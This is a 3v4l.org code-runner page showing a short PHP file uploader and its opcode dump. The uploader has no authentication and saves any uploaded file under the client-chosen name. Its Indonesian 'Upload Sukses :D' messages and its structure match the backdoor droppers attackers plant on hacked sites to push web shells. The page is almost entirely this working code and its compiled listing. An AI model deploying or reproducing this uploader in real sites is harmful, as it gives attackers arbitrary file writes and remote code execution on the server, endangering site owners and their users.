3v4l.org

run code in 300+ PHP versions simultaneously
<form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file" size="50"> <input type="submit" name="_svr" value="upload"> </form> <?php if(ISSET($_REQUEST['_svr'])){ $_svr=($_REQUEST['_svr']); if($_svr==('upload')){ if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Sukses :D</b><br><br>'; } else { echo '<b>Upload Gagal :D</b><br><br>'; die(); }} } ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 4, Position 2 = 26
Branch analysis from position: 4
2 jumps found. (Code = 43) Position 1 = 9, Position 2 = 26
Branch analysis from position: 9
2 jumps found. (Code = 43) Position 1 = 22, Position 2 = 24
Branch analysis from position: 22
1 jumps found. (Code = 42) Position 1 = 26
Branch analysis from position: 26
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 24
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 26
Branch analysis from position: 26
filename:       /in/4bntO
function name:  (null)
number of ops:  27
compiled vars:  !0 = $_svr
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ECHO                                                     '%3Cform+action%3D%22%22+method%3D%22post%22+enctype%3D%22multipart%2Fform-data%22%3E%0A+%3Cinput+type%3D%22file%22+name%3D%22file%22+size%3D%2250%22%3E%0A+++%3Cinput+type%3D%22submit%22+name%3D%22_svr%22+value%3D%22upload%22%3E%0A+++%3C%2Fform%3E%0A'
    6     1        FETCH_IS                                         ~1      '_REQUEST'
          2        ISSET_ISEMPTY_DIM_OBJ                         0          ~1, '_svr'
          3      > JMPZ                                                     ~2, ->26
    7     4    >   FETCH_R                      global              ~3      '_REQUEST'
          5        FETCH_DIM_R                                      ~4      ~3, '_svr'
          6        ASSIGN                                                   !0, ~4
    8     7        IS_EQUAL                                                 !0, 'upload'
          8      > JMPZ                                                     ~6, ->26
    9     9    >   BEGIN_SILENCE                                    ~7      
         10        INIT_FCALL                                               'copy'
         11        FETCH_R                      global              ~8      '_FILES'
         12        FETCH_DIM_R                                      ~9      ~8, 'file'
         13        FETCH_DIM_R                                      ~10     ~9, 'tmp_name'
         14        SEND_VAL                                                 ~10
         15        FETCH_R                      global              ~11     '_FILES'
         16        FETCH_DIM_R                                      ~12     ~11, 'file'
         17        FETCH_DIM_R                                      ~13     ~12, 'name'
         18        SEND_VAL                                                 ~13
         19        DO_ICALL                                         $14     
         20        END_SILENCE                                              ~7
         21      > JMPZ                                                     $14, ->24
         22    >   ECHO                                                     '%3Cb%3EUpload+Sukses+%3AD%3C%2Fb%3E%3Cbr%3E%3Cbr%3E'
         23      > JMP                                                      ->26
   10    24    >   ECHO                                                     '%3Cb%3EUpload+Gagal+%3AD%3C%2Fb%3E%3Cbr%3E%3Cbr%3E'
         25      > EXIT                                                     
         26    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
149.39 ms | 1396 KiB | 15 Q